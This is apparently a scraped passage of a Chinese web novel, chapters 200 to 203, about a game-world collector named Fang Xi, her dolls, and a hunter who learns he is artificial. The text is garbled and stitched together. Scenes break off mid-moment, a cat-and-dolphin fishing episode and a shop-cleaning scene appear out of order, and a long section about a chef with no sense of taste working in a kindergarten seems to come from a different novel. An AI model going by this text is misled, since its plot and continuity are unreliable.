但这样犹豫下去也不是办法。那些被研究员刻意封锁的真相，逐一浮出水面。 原来他不是纯粹的人啊。 原来他那如永动机般充沛的力量，并不来自小时候一次性的改造。 但这些特质并不来自真正的灵魂碎片，只是实验员从残肢中提取的与之相似的东西，拙劣地模仿先行者而已，根本没办法称他为合格的人偶。 但因为制作他的最初，采取的是如此特殊又偏门的方式——不像主实验基地的那对双胞胎，所以实验员仍然能在他身上放置几条命令。 人类会崩溃。而他不会。 人类会疲惫、懈怠。而他很难感受到累。 还有。 有的人类会背叛黑天鹅——他永远不会这么做，永远都会顺从命令，战斗到最后一刻。 所以他无意识地，为自己划定了一个自由的期限。 期限结束，自由不复存在。 虽然很想继续肆意妄为下去，没钱再想办法去赚，没有居所就席地而眠，没有朋友就随手抓几个路人或者网友聊天，聊一会就能变成世俗意义上的朋友。 这些事情信手掂来，多么地轻而易举。 但他微弱的自我，没办法抵抗身为战斗兵器的本能，又或许早已乐在其中，也不觉得这种命运有什么不对。 天堂会容纳人造垃圾吗？ 应该不会吧。 说不定，他的死状和其他队友根本不一样，不是腐烂的尸肉，而是一团团难以下咽的石块。 宋白玉恍惚地看着其他队友的灵魂。 秦淮月是炽烈的火红，陈据雪是洁白的雪，柳莺是美丽的樱色，徐万念是特别的五彩斑斓的黑…… 唯有他。 是丑陋的、人造的、不堪入眼的像垃圾一样的灰色，一块混杂着一块，灰白掺着乌黑。 原来他灵魂的颜色这么难看。 收藏家会不会也这么觉得？ 方羲戳了戳宋白玉的脸，试探性问道：“你醒着吗？能听见我说话吗？” ——当然，我听得见你的声音。 宋白玉迫切地想张开嘴巴，但大概因为这是做梦，所以他只能眼睁睁地看着声音在风声中流走，却无力去回应。 “我想把你做成我的人偶，这样你就不会死，也不用再以牺牲灵魂为代价去战斗。” 人偶是什么？是类似傀儡一样的生命吗？ “对不起……我想这种做法实在有点残忍，但我没有别的办法。” 刚刚是什么东西占据了他的潜意识？ “你怎么了？”旁边的踏樱注意到宋白玉脸色有些苍白，疑惑地问，“你好像从醒过来之后，就不太对劲。” 踏樱想了想，觉得宋白玉怪异的精神状态可是出自斗兽场的战斗，便安慰道：“宋长官，你也别太紧张，现在我们都好好活着呢。放心吧，虽然我的武器暂时丢了……但我刚刚捡了个树枝，勉强还能用一些基础治愈技能。你有身上有哪里不舒服吗？” 宋白玉缓过神，笑着摇了摇头。 踏樱奇怪地看了他一眼，见他露出不需要自己治疗的意思，只好移开了视线。 孤岛的实际面积比想象中要小一点。 秦淮月粗略地估算了一下时间，忽然说：“我们已经走了三天三夜。” 一开始，他们还犹豫要不要趁着天黑之前，返回沙滩去“捉鱼”，完成海鸥给的任务。 但问题是，世界迟迟没有天黑。 或许是因为没有“天黑”，海鸥也没有再来找他们讨要活鱼。 宋白玉注意到，很多人经过徒步跋涉，都面露疲惫之色。而且……居然连最强大的猎人秦淮月，也是如此。 其实这一点点路程对过去的首席玩家来说，根本不在话下。但偏偏他们经过一场被异端压倒性的摧残，又莫名其妙来到了这种地方，除了半路集体休息一会，就再也没有别的治疗手段，一时间出现这种异状也是正常的。 宋白玉下意识摸向自己的胸口，那里仍然是空荡荡的一片。 说实话，他一丁点疲惫也没有。 虽然以前也比寻常猎人精力更充沛，但眼下这种情况……是不是太奇怪了点？ “好像看到另一边的沙滩了！” 陈据雪忽然开口，声音带着几分难以掩饰的颤抖。 她想。海鸥的出现说不定就是一个指引，只要来到它们所飞往的地方，或许一切的疑惑都能得到解答。 如果、如果真的和她猜测的那样…… 和秦淮月对视一眼，陈据雪咬了咬牙，只身上前。 扑通、扑通、扑通。 所有人的心脏，同时默契地漏了几拍。 傀儡师伸出手，亲自拨开那一丛暗绿色的芭蕉叶。 晨乌猫猫思考两秒，挥出爪子拍拍藤蔓，疯狂暗示。 春醒只好帮猫猫把鱼拿了上来。 聪明的粉海豚考虑到猫不止一只，遂潜入海中继续抓鱼。这次它明白了，猫猫不能下水，于是海豚直接把鱼丢上巨船。 猫猫们都得到了一条鱼，聚在一起开心地啃鱼！ 率先吃完金枪鱼的橘色猫猫，意犹未尽地舔了舔爪子，再次跳上船头的栏杆，继续认真地盯着潜藏于海面之下的游鱼。 海豚歪了歪脑袋：“？” 它有点没想到，这么大一条的金枪鱼，居然满足不了小小一团的猫猫！ 但为了表达友好，也为了和这个它从未见过的毛茸茸生物交朋友，海豚在原地跳跃了一下，只好继续潜水去捉鱼！ 哗啦。 海水溅落成花。 橘猫金色的兽瞳，在这一刻倒映出深蓝色的世界，就如同它也随着海豚的跳跃，一起坠入游弋着无数猎食者的深海，冰冷的水钻入每一个细胞。 呼——吸—— 吐出淡蓝色的气泡，但马上又啪地一声破裂。 一丝血味倏忽蔓延开来。 橘猫微微眯起眼睛，尾巴微微翘起。 那是一只受伤的鲸鱼。 无数缓慢游弋在附近的捕猎者，充满着耐心，伺机而动。 一场战争即将上演。 但在残酷的大海里，这种事情无时不刻都在发生。 一切物竞天择。 【栏杆新建数量：2】 【栏杆已修复数量：13】 【已被强化的栏杆数量：3】 【顾忌到部分玩家心理承受能力有限，十分钟后，我将强制驱逐所有玩家暂时下线（收藏家除外），让你们有时间缓解一下心情，做足再次上线的心理准备。】 【而当你们重新上线……】 【——你们会见到一个全新的失乐园！】 身经百战、见证过无数绝望和死亡的人类精英前哨们，忽然听懂了一切。 他们不敢置信似的，抬起头，看向姿态仍然有些懒散的先行者。 大概是注意到玩家们投过来的眼神，方羲脸上也露出一抹微笑。 但她的声音却有些偏执道：“这下，你们可以理解了吧？” “我亲手打碎无穷的一部分！” “我让完美变成永不完美！” “这样，祂就会一直偏执地向外扩张，无时不刻地追求极致的圆满！” “哪怕知道完整的那一天根本不会到来，但祂也像我们一样，是贪婪又自私的生命！痴心妄想着只要自己一直战斗下去，胜利就好像一定会终将到来！” 这就是我…… 在“例外”出现之前，穷尽了一切，所创造的最后一个【人偶】。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 200-205 第 201 章 第 201 章 全世界忽然变得很喧闹。 方羲默默捂上耳朵，站在船上，看着底下的玩家一个个被1000强制登出。 他们苦苦哀求冷酷的初始系统，好让自己晚一点下线。 冷酷无情的1000自然不理。 有人迟疑了一下，试图做最后的挣扎：“那，几天后我们才能重新上线？能不能酌情缩短一下停服时间？” 1000：【再说吧。】 1000：【不过你们可以每天关注一下，“登录”选项有没有出现。】 密匙玩家们：“啊？？？” “各位，下线吧。”方羲忍不住笑道，“系统逗你们玩呢，不会让你们等太久……我们下次再见。” 密匙玩家们只好和方羲遗憾道别。 不过在这之中，很显然有那么几位投来怀疑的目光。 方羲回以自信满满的眼神。 某五位首席玩家：勉为其难相信.jpg 十分钟后，世界终于安静了。 方羲没让极光号送自己回个人空间，打算直接用地图传送的方式回去，毕竟祂现在浑身上下都闪烁着跃跃欲试的气息，想要大肆霸占失乐园！开拓领地！ 而且方羲也累了，懒得跟祂去。 不过临走之前，方羲把搁置在操舵室的黑盒子，重新带在身上。 春醒抱起炸毛的猫猫，小声安抚道：“没事，我一会给你喂烤肉吃。” “喵喵～”委屈地叫。 夏青禾朝春醒嘀嘀咕咕道：“你说，主人是不是这个月脑子烧坏了，还没好？” 春醒微笑道：“当然不是，主人一向如此。” 宋白玉竖起耳朵，谨慎观察着人偶的对话，不知不觉间把一整杯喝完。 他隐约感觉坐到对面的收藏家，视线似乎一直落在自己身上。 抬头一看，的确如此。收藏家的黑色眼睛一直“盯”着他看。 五分钟过去了。 十分钟过去了。 毫无变化。宋白玉转过头，手里还拿着抹布：“怎么了？” 方羲深沉地说：“这是我刚刚才研制成功的冰茶，你看上去也怪辛苦的，要不先喝点东西，过来休息一会。” 然后，方羲又顺了一下春醒头顶的叶子呆毛，说：“等一下再忙吧。” 春醒瞥了一眼这只从头到尾没怎么干过活的人类，但也没反对，收起长长的藤蔓，走过去坐到沙发上。 方羲开始分配六杯冰茶。 五彩斑斓的黑茶给宋白玉。 绿色的苦瓜柠檬茶给春醒。春醒还在气头上，原先只是不感兴趣地瞥了一眼这只新来的人类。 过了半响，春醒以一种奇异的目光盯着宋白玉，仿佛看到了一只珍稀动物一样，满眼都是渴望。 春醒说：“我第一次见到会打扫家务的人类。” 宋白玉：“？？？” 他想了想，又扫了眼四周，便问：“要帮忙吗？我的假在明天下午两点截止，我看你们这好像还没布置完毕，宣传单不是说后天就开业了吗？这……来得及？” 已经默默逃到另一边角落的方羲，正拿着【可容纳无穷之物的园林喷壶】，重新开启她的“秋日冰茶大业”，闻言抬头看了一眼，深沉地说：“其实本来主展厅没这么大，但我今天上线，才发现那条广告热度实在太高了点。” 激动之下，方羲买了一千平方米的空间扩展外。为了节省所剩不多的开支，所有家具全部是二手货。 ……当然，在冲动过后，方羲和春醒看着账号上只剩下几千块的金币余额，双双陷入了诡异的沉默。 春醒：“如果开店不能回本，我们就完蛋了！！！” 方羲：（绝望地翻着黑天鹅的任务系统）（发现没有一个副本可刷）（心死如灰）（忽然灵光一闪） 春醒：“你在写什么？还不快想想办法！我们马上要变成穷光蛋了！！！” 方羲奋笔疾书：“别急，我找个家伙再进点货。” 她在【填写姓名即刻瞬间传达的信封】上，写上“乘务员”的名字，挥洒墨水施施然写了一大段慰问异端近期过得如何的话，吃得怎么样？穿得暖不暖？ 最后一句特地描笔加粗：Hello，你什么时候还债？说好的材料呢？针对这一点，你有什么头绪吗？ 远处的乘务员：……（崩溃咆哮） 在一阵兵荒马乱之后，方羲终于和春醒达成一起整理这一千平方米小店的共识。 于是出现了宋白玉推门进来的以上画面——方羲、夏青禾、甚至是不太活动的艾莉克萨，也被春醒抓来充数当人手。 尽管有方羲在，事实上也跟没有一样。 方羲本来还想说点什么，因为她叫宋白玉过来并不是因为这种事。 但……确定好见面时间，宋白玉才稍微安下心来，然后前往数据室，利用剩下的时间做些任务。 时间很快转到下午四点四十五分。 宋白玉故意在起身时弄出剧烈的响声，惹来江簌充满怨念的眼神，林镜子略有羡慕的一瞥，疯苹果冷漠的警告目光，才终于满意离开。 打开地图。 锁定坐标，瞬移到139号店铺。 抬头一看，店铺门顶好像还没装上名字，外观也和上一次来一模一样。 宋白玉抬起手，想礼貌地敲敲门。 下一秒，店铺内隐约传来人偶崩溃的尖叫，相当凄惨刺耳，宋白玉心里一惊，一时间也不顾不上什么礼貌，直接推门而入。 “我才刚刚整理好的宝石呢？你怎么又弄乱了？！收银台不能乱放东西！吃完的饭盒为什么不收好？还有，谁打翻了喷壶？地上全是冰块水！！！” 春醒声音崩溃，冷冷地瞪着三只罪魁祸首。 夏青禾委委屈屈地蹲在货架旁边，给一箱五彩斑斓的宝石分类。 猫猫揣起手手，乖巧地看着藤蔓人偶，试图萌混过关。 春醒说：“擦擦这些书柜，上面好多灰。” “哦好。” “玻璃窗擦擦。”秦淮月出来后，看了一眼坐在旁边休息的宋白玉，对方脸色有些发白，但精神状态还算正常，只是看上去有点疲惫。 徐千秋还在低头处理数据，报告还得等一会才生成。秦淮月便干脆利落地走了过去，坐到旁边，询问道：“感觉好点了吗？” “没什么事，缓过来了。”宋白玉感慨道，“竟然没上次痛苦。” 秦淮月微微点头道：“阈值提高了，但具体多少，还得看最后的数据。” 她顿了顿，忽然提醒道：“既然你下午要去见收藏家，那就替我们打个招呼吧。另外，多注意一下她的精神状态，如果有什么不对……请先告知我。” 宋白玉抬眼，看见猎人之首坚毅的面庞，笑了笑应下：“我明白。” 不过从昨晚到现在，收藏家没再上线回复消息——相比于密匙玩家，她的断线时间的确有些久。 但一想到收藏家的性格，还有那把血色长弓，这种事情或许也不能说是稀奇。 “二位，报告出来了。”徐千秋喊道，“过来一下。” “秦队的没什么问题，异端抗性又提高了两千……啧啧，五位数的异端抗性。我已经把你的个人信息更新好了，你可以走了。” 徐千秋瞥了一眼宋白玉，冷笑：“你！留下来！” “什么？！我怎么了？咋回事？”宋白玉瞬间紧张地提了口气。 “如果我不是个自信的人，我都得怀疑是我眼睛有问题了。”徐千秋皱了皱眉头，“你的异端抗性又是四千？承压阈值不是提高了吗？结果居然一样？你怎么回事？” 宋白玉无辜摊手：“这你问我，我也不知道啊，我只是一名猎人。” 徐千秋瞥了一眼这货漫不经心的神色，正色道：“是上次高危副本留下的后遗症？你真的不记得自己具体怎么出来的？” “……我真不记得。”宋白玉无奈地说，“可能是靠着潜意识直觉，才侥幸躲过一劫。没变化也无所谓吧，四千的抗性也够用。而且我平时也没什么不对劲的地方，应该没事吧。” “……行了行了，真受不了你，我会再和其他造梦家好好查查你的数据怎么回事。”徐千秋决定送客走人，“沈乐，林镜子，到你们了。” 宋白玉被灰溜溜地赶出检测室。 然后，他站在门口定了几秒，脑海里回荡着徐千秋刚刚的质问，有些发愣，又下意识摸了摸自己跳动的心脏处——没事的，他还活着。 隔着衣服，隐约能摸到蝴蝶吊坠的形状。离开恶魔副本之后，这个血液标记似乎也彻底失去了作用。据他所知，其他玩家为了行动方便，都把这个吊坠拆卸下来了。 “哟，您的【特别关心】向您发送了一条新消息。”专属系统欠欠的声音在耳边响起。 宋白玉立刻打开聊天界面！ “擦完了。” “这里还有几箱材料……” “没问题，是分类清楚吗？” 方羲大受震撼。 她缩在沙发边上，震惊地看着宋白玉仿佛一个被摇来的万能帮手，短短一个小时，就把她和夏青禾三小时也没干完活，直接搞完了。 等等……她一开始是叫这名猎人过来是干什么来着？ 方羲恍惚地想。 春醒终于气消了，也满意了，头顶的叶子呆毛安分下来。瞥了一眼四体不勤五谷不分的方羲，躺在沙发咔嚓咔嚓吃薯片的夏青禾，还有一团只会卖萌且超能吃的橘猫。 春醒：“……” 她又看了眼旁边的艾莉克萨。 小黑羊虽然动作很慢，还至少还在帮忙把书一本本放上柜子。 春醒心底稍微得到了一丝安慰。 此时的方羲终于研制成功第一壶冰茶，充满期待地盯着玻璃水壶里咕咚咕咚的紫色气泡。 泥土颜色不知道是什么茶的给夏青禾。 满满一杯橙子肉，倒进猫碗里给猫猫吃。 看上去应该比较好喝的白色茉莉奶绿给艾莉克萨。 宋白玉接过玻璃杯，几乎没想什么，就直接喝了两口。 春醒头顶的呆毛一竖，震撼地看着这只人类，惊呆了。 人类……人类真是可怕的生物。 方羲期待地问：“你觉得味道怎么样？” 宋白玉认真评价：“很奇妙的味道，怎么说呢，有一种踩进宇宙的感觉。” 方羲摸摸下巴：“每次倒出来的都不一样，你手里这杯应该爆率只有1%。” 说着，方羲也拿起最后一杯，看上去只是单纯的冰块水。 不过方羲举起来端详了一会，最终一口没喝，假装无事地放下。 宋白玉紧张地咳了一声，但收藏家依然没回过神来。 他有一瞬间几乎怀疑收藏家的目光只是落在对面，纯粹在发呆而已。 “呃……收藏家？”他试探性发出声音，“进来之后一直没机会问，我来这里……有什么特别的事情需要做吗？” 方羲终于收回目光，刚刚略显活泼的面部表情，慢慢冷了下来。手托着脸颊，眼睛的黑色浓得像雾，平静地盯着来者的灵魂。 银灰色的，像宇宙星河的一样。 但也像，人群随意践踏的、石头颜色的橡皮泥，被丢进陨石和垃圾的废弃星系，死了也没人察觉的废弃品。 “没什么事，你也看到了，我和……傀儡们忙不过来。”方羲笑了笑，却伸手指了指宋白玉左手的军用手环。 宋白玉静默了两秒，伸出手，调出游戏面板，暂且将军用手环的联网状态强行切断。 “只能十分钟。”宋白玉疑惑问道，“怎么了？” 方羲站起来，转身走到书架边上，垂着眼，在人偶和宋白玉注视下，在一盒还没来得及分类的宝石箱里翻翻找找。 “你之前是不是死过一次？” 收藏家的语气有些轻描淡写。 但却在宋白玉心底掀起滔天巨浪。 收藏家……应该不知道自己之前的任务情况，却仅仅凭借观察，就隐约摸到过去的碎片痕迹。 “死亡倒说不上，一年前，我的确重伤过一次。那是我有史以来伤得最严重的一次，连灵感最高的傀儡师也觉得我撑不过去，不过我最后还是活下来了。” 444：“……” 444的额头上冒出一根青筋。 444和900开始吵架，相互对骂。 而置身度外、没有参与辩论大会的方羲，忽然抬起手，习惯性压了一下疯狂跳动的左眼，嘴角的笑意怎么努力压也压不住，感觉心情很久没有像这样好过了。 去人类帝国啊…… ——这样的话，她是不是该先去找黑天鹅，“借”一艘星航呢？ 第202章 第202章 一个星期后。 方羲一大早就登录游戏。 一上线，她连猫也不摸一下，就直接钻进书房。 人偶们和900面面相觑。 自从444到访，告知了那条通往人类帝国的航行路线之后……方羲就变得相当勤奋好学。 阅读从机密库借来的专业书籍，学习如何开星航，如何在撞上陨石的危险情况下求生，如何在漫长旅途中自我调节孤独的心灵，如何选择最佳的降落点，如何考取星航驾驶证，如何准备最适合在太空中食用的食物…… 就这么看了整整一个星期，方羲……方羲悟了！ “你真的看懂了？”900看着这只学渣一脸宛如升天般的神圣表情，深深地怀疑她根本不是看懂了，只是单纯学到自闭了，“要不还是我给你上上课吧？” 方羲立刻狡辩道：“我当然看懂了！” 900：“……” 任务期间，菜品均有A级调味加成？ 方羲有点激动了。 她立刻打开了系统面板，认真查看技能说明。 是任务期间做的所有菜品都有味道吗？那她随便打个工，不就可以一边自己开个小吃摊了吗？ A级的调味技能，出去卖个煎饼果子都能盆满钵满吧？ 很可惜，系统的说明上清清楚楚地写着：“仅在当下情况生效：在雇主提供的工作场所中，使用对方提供的食材与厨具。” 不过，就算是这样也足够了。 林丹看着女儿叹口气：“也只能回老家了。等妈回家跟你外公说说，把房子卖了，把那钱还上，你再考个老家的编制……” “妈！” 方羲急了：“你别着急啊，找找律师，他这是伪造债务！” 林丹捂住脸，忍不住哭出来：“是妈太没用了……” “没事，妈，没事，”方羲过去抱住妈妈，又打电话给外公，“你先回家待几天，不要卖房子。等我在这边看看情况。” 方羲等外公安抚好妈妈，把她送上了回家的车。 “羲羲，你真的行吗？实在不行就跟妈一起回老家。” “没事儿，妈你放心，我这边跟他谈谈试试，谈不了再回去找你跟外公。” 不过，可惜，方羲的找工作之旅并没有她想的那样一帆风顺。 方家作为资深的美食世家，对全市绝大部分的酒店饭馆都有强大的影响力。 更何况，人人都知道这个昔日的天才少女现在已经消失了味觉，更没有人愿意雇佣她了。 方羲擦了一把汗，沿着街道慢慢走着，准备看看有没有什么小店，能让她主动出击。 这座小城能够提供的岗位本就不多，中介处已经没有更多的招聘启事了。 “哎呦，这是谁啊，这不是咱们的方家的新星吗？” 阴阳怪气的声音传过来，方羲一回头，还真是方一金。 “听说你实在找不着工作了？”方一金终于有了奚落她的机会，“实在不行，来我们家当个配菜工吧？毕竟你学了八年刀工呢，啧啧，切个土豆丝也行啊。” 方羲斜了他一眼。 “行啊，我去，你敢吗？” 方一金的脸色僵住了。 老爷子的命令是，任何酒店饭馆都不能雇佣方羲，不然就是跟方家过不去。 这命令自然是包括自家的饭馆的。 他刚刚一时冲动，只想着奚落方羲。可他只不过是方家这一代里再普通不过的一名成员，如果真的雇佣了方羲，只怕他的下场就和方羲一样了。 看见方一金蔫了，方羲也懒得继续理他。 她看见前面有一张招聘启事，快步走了过去。 真的是招厨子！ 方羲一阵惊喜，她认真看了一下，招聘启事是一家幼儿园发出来的。 幼儿园本来的厨师伤了手，所以找一名临时的帮厨来做饭菜。聘期一个月，薪水面谈。 她在心里悄悄问系统：“这样能算完成任务吗？” 系统给出了一个字：“能。” 除了那天问她想不想恢复味觉之外，系统一直很高冷，能用一个字回答绝不用两个字。 有些她的废话问题，系统甚至拒绝回答。 要不是她还能看见属性面板，几乎要怀疑得到系统是个梦了。 方羲认认真真地看幼儿园的招聘启事，她身后的方一金受不了了。 这可是方家一直众星捧月的明日之星啊，现在落到这步田地，怎么看着还是这么镇定啊？ 他用力清了清嗓子，大踏步走到方羲旁边，得意道： “我马上就要学我爸最得意的狮子头了！我爸说，要是我能学个三分，还可以请老爷子来指点我一下！” 他爸虽然算方家厨艺比较差的那一批人，但是因为全家守着老宅，还是学到了一道狮子头。 方一金刻意提起了老爷子，观察着方羲的表情。 可惜，让他失望了，方羲唯一的反应就是扫招聘启事上的二维码。 “可惜啊，”方一金扫了一眼幼儿园的招聘启事，这家幼儿园就在他们酒楼后面，招聘的还是临时厨子，“听说你还没正式上灶？方家的菜谱，一个也没学到吧？” 他眼看着方羲转脸看向自己，然后发呆，不说话了。 方一金更得意了：“老爷子还是心软的，没说让你什么工作都找不着。不然，你连去幼儿园帮厨的余地都没有！” “只可惜了，以前你多傲啊……我上灶了跟你说，你还说什么先打基础不着急……现在着急了吧？没用了！” 方羲还是没说话。 她之所以没说话，是因为她暂时看不见方一金的脸，也听不见她说话。 高冷系统刚刚突然弹出了一个界面。 临时任务：在幼儿园获取到一万感谢值，即可获得S级狮子头菜谱一份。 界面巨大且不透明，牢牢遮蔽住了方羲的一切视线。音效更是从一声“叮”变成了一连串的“叮”。 方羲有些怀疑，如果自己再不接受任务，这任务可能就要变成强制执行了。 她用意识选择了接受，巨大的黑色界面这才消失。 方一金的脸还在她的面前晃。 不过，这张刚刚还很烦的脸，现在已经变得非常可爱。 连他鼻子上那颗巨大的青春痘，在方羲眼睛里看起来，都带了那么一丝喜气洋洋。 她下意识地选择多刺激刺激方一金，这小子再说几句，岂不是能多送她几个菜谱？ “你爸的狮子头也就那么回事吧，上次大伯尝了一口，不是直接就让人撤下去了吗？” “哦，还有三叔，说让你爸转攻炸丸子，说不定还能在菜市场杀出一片天。” 她期待地盯着方一金。 方一金张口结舌。 这些话他一句也反驳不了，看着方羲语速极快的样子，更是让他想起来当年方家小辈考核的时候，大家被她杀得落花流水的样子。 “你……那也比你强！” 看着方一金落荒而逃的样子，方羲几乎想冲过去拉住他了！ 求求你了，求求你再炫耀两句吧！ 不过，此时，招聘启事上的微信通过了好友。 方羲低下头，迅速发了问候过去。 “您好，请问幼儿园的帮厨现在还能应聘吗？” 微信对面，是启明星幼儿园的园长。 这家幼儿园不大，主要面对对象就是同小区的小朋友们。自然开不出太高的工资。 原有的一名厨师已经很够用，招人也只能招个临时帮厨的，这样的条件下，来应聘的人很少。 今天上午，她已经拒绝了两个人。一个是快六十岁的老奶奶，一个做出来的饭菜实在是太难吃。 中午的时候，已经给小朋友们吃了一次熟食半成品了。剩下还有十几个小朋友要上晚托，晚饭实在没人，就只能她亲自上手了！ 伤了手的袁国忠在一边努力安抚她：“小园长，没事儿，咱晚上随便做点简单的就行了。晚上孩子少。明天说不定就招来人了呢。” “要不再切点香肠？蔬菜就做个白菜炖豆腐，这没啥难度吧？” “要不在老师里面问问，看看谁会做菜？” “忙不过来啊，”小园长姓肖，人又长着娃娃脸，叫来叫去就变成了小园长，“再说，叫老师来做菜，谁能愿意？” 幼儿园教师可是出了名的钱少事多，一个月两千多块，还让人做一顿饭？ 算了吧，她可开不了这个口。 就在这个时候，终于又有人加微信了！在两个人热切的目光中，对面的应聘者发过来了一句非常正常的话。 甚至还带着个表情！ 很好，会加微信，带表情，那应该不是另一个老奶奶了。小园长赶紧飞快回复，手指几乎挪出残影：“没有！现在就可以面试！你有健康证吗？” 看着对面迅速回复的“有”字，小园长和袁国忠几乎要抱头痛哭。 “现在就可以面试！请来幼儿园！” 招聘启事上写了幼儿园的位置，看起来并不太远。不过方羲不太认识路，她左右张望了一下准备问路，意外又看见方一金还没走。 他还站在自家的“方氏酒楼”门口，表情复杂地往这边看。 方羲走过去问路：“启明星幼儿园在哪啊？” 她带着一丝期待看向方一金。 如果对方告诉她了，那她可以去应聘做任务；如果对方没告诉她，那么，很好，她又能有一道菜谱了！ 方一金被方羲的眼神弄得有点怂怂的。 到底谁才是被逐出家门的那一个啊！ 明明他才是马上学到方家菜谱的那个人生赢家，为什么方羲看起来这么期待啊？ 在方家处于最底层、常年挨揍的方一金，选择听从了自己的第六感。 “那边拐过去就是了，有个后门。” 方羲有点依依不舍地说了谢谢，快步朝着后门走去。 启明星幼儿园确实不大，她从小区后门进去，走了几步就看见幼儿园的正门。 这让方羲有点可惜，她还以为方一金能给个错误地址，激将系统再来个任务呢。 她刚走到门口，等待已经的小园长和袁国忠就眼前一亮。 个子高高的女生，身材健康壮实，高马尾绑得一丝不苟。 至少从外表看起来是合格了。 “每天做两顿饭就可以，一顿午饭一顿晚饭，每顿饭两个菜，一荤一素，早饭有专人做面点。大锅菜做过吗？能做好吗？” 袁国忠紧跟其后又补充了一句：“面试就是做一顿晚饭，只要过得去就行。聘期一个月，两千块，不耽误做饭的情况，行吗？” 这个工资确实有点低。 不过，在现在的方羲看来，只要有个地方打工，哪怕她倒贴钱都可以。 “没问题！” 她愉快地跟着袁国忠来到了幼儿园的后厨。 整个幼儿园的后厨有三个人，一个洗碗杂工，负责洗菜刷碗等等。 还有一名专门做面点的阿姨，一般是做早饭，平时也会帮忙打打下手。最后就是袁国忠这名大厨了。 一直没招到新帮厨，后厨已经做好准备，实在不行晚饭就光吃牛肉饼。 再甩个黄瓜蛋花汤，反正晚托的小朋友只有十几个。 后厨的台面上，正堆着一些准备做牛肉饼的牛肉和洋葱胡萝卜，还有十几根洗干净的黄瓜。 袁国忠带着点忐忑地领着方羲走进来，观察她的举动。 现在离幼儿园的晚餐时间只有半小时了！ 方羲戴好了厨师帽，仔仔细细地把头发掖好，拎起菜刀，观察了一下菜板上的食材。 牛肉是牛颈肉，这个部位的肉比较紧实，这块肉看起来比较瘦，也很新鲜。 这块肉拿来红烧或者炖煮都不太合适，倒是拿来做个小炒牛肉，一定味道很不错。 小朋友也会很喜欢。 至于黄瓜，就随便炒个鸡蛋就可以了。 “黄瓜切片，用盐腌一下。” “五十个鸡蛋打匀，加一勺白醋。” “洋葱切丝。” 还没正式在方家学上灶，但并不意味着方羲没做过菜。 相反，她做过很多次。只不过，当初的方云从对这个曾孙女寄予厚望，一直在夯实她的基本功。 方羲把厨间几个人指挥得团团转，自己提刀迅速切薄牛肉，腌制，上浆。 袁国忠看着方羲熟练的动作，看着她明显有一层薄肌的肩背，觉得这次的帮厨应该是稳了。 他从身后看着方羲熟练地把牛肉片倒进大锅，之后微微停顿了一下。 “怎么了？不习惯大锅菜吗？” 大锅菜最难做的就是爆炒。锅子这么大，锅中心和边缘的温差巨大，翻炒得不到位，很容易有些肉偏老、有些又不够熟。 不过，对于翻勺技能C级的方羲来说，这是小事。 她之所以刚刚顿了一下，是因为，她感觉到了被动技能的威力！ 小炒牛肉的腌制是不能放盐的，不然会让牛肉提前失水，从而达不到嫩滑的效果。 加盐必须在出锅之前。 失去了味觉的方羲曾经私下无数次重复这个步骤，但是没有味觉就是没有味觉，她或许能做出中规中矩的家常菜，但却再也调不出足够好吃的味道。 如果她曾经学艺经年，或许能够凭借经验做到。 但是，方羲过去全部的学厨经历都在夯实基本功，根本没有足够的经验来凭感觉调味。 可就在刚刚，她伸手去拿盐勺的时候，她突然有种玄而又玄的感觉。 不用看克重，不用尝菜，就用盐罐这么一洒—— 小炒牛肉出锅！ 充满弹性的牛肉片，像被网中的鱼，扑腾着滑落进盘子里。泛着一丝油滑的光亮。 凭借着过去无数次后厨的经验，光是看味道闻气味，方羲就知道，这道菜绝不仅仅是合格！ 她的心中突然充满了巨大的满足感。并不单单是因为对未来前途的焦虑消失，也不单单是因为报仇的路途似乎光明起来。 而是因为——她真的，很爱做菜。 还能做菜可真好啊！ 她爱做菜！ 再之后，不管秦淮月再发了什么，方羲一律已读不回，以免再暴露些什么。 不过方羲又私聊了一下踏樱、宋白玉、徐万念这几个人，顺利要到了他们的私人号码和光脑账号。 全部记到小本本上。 至于被这三个家伙问为什么忽然要联系方式，方羲同样已读不回，说多错多，免得露馅。 毕竟她从蓝星出发，抵达帝国的成功率不是百分百，所以也没有必要让他们在帝国瞎等——万一她死在了外太空呢？ 打开好友列表。 方羲一脸严肃地挑选着幸运儿。 接下来要做的才是重头戏！ 该找谁“借用”一座星航比较好呢？ 方羲本来想直接私信【黑天鹅001】，但每次值班的客服好像都不一样，这次的事又主要是和她个人有关，所以还是找个熟人帮她一下比较好…… 纠结半天，方羲最后还是灰溜溜地切回和秦淮月的对话界面。 【白乌鸦】：（乌鸦探头） 【白乌鸦】：我把投影机给你。 【白乌鸦】：你们那边能不能借我一座星航？ 【银月】：（笑） 第203章 【社牛不想说话】：队长，你要来伊甸园？！？！几月几号？什么时候到？早上？中午？晚上？我来接你！！！（欢呼） 【白乌鸦】：不！我没有要来！ 【踏樱】：白鸦，你要来伊甸园？（星星眼） 【白乌鸦】：谁说的？不要造谣！ 【一夕】：我可以帮你拿行李！ 【白乌鸦】：我……没……有……说……要……来……（有气无力） 启明星幼儿园，其实是一家相当有特色的幼儿园。 方羲早上不用上班，十点才到幼儿园，正巧撞到幼儿园热火朝天的劳动场景。 小朋友们有在喂鸭子的，有在做手工的，甚至还有在用迷你建材建房子的。 看着他们用手掌大小的砖头盖房子，方羲真的也很想上去试试啊！ 只不过，该到她做饭的时间了。 进了厨间，大家都热情地围了上来：“小方来了！” “方师傅来了！” “今天的菜我都已经洗好了，你看看还有什么我能打下手的！” 整个厨房的效率变得极高，像是生锈已久的机器上了油，大家都积极主动给别人帮忙。 方羲一伸手，就有人递东西，她的头上淌汗，阿姨也过来用热毛巾帮她擦干。 甚至，连之前每次只给5点满意值的袁国忠，现在都每次给50了。 做完午饭，方羲拉开系统，带着点期待地盯着狮子头任务后面的满意值。 照这样下去，大概再有个一两天，她就能拿到菜谱了。 “羲羲啊，”小园长如一阵风般刮进厨房，手上还拿了几块糖塞过来，“晚上做饭多做点啊！” 还没等方羲问为什么，旁边的勤杂工阿姨反应过来了：“今天晚上又有活动了？有家长？” 启明星幼儿园的课外活动多种多样，出于宣传以及教育的目的，经常会请家长来共同参与。 “对，今天他们的小房子要上梁盖房顶，请两位家长过来一起参与。两位家长倒是不多，不过所有的小朋友都会一起吃晚饭。” 阿姨一边刷碗一边嘟囔着：“现在养个孩子不得了了，上个幼儿园都得来参加活动。” 小园长对阿姨的吐槽早就免疫了：“参加个活动而已啦，总比通宵给孩子做手工强吧？羲羲你记得哦，多做点，宁可剩下！” 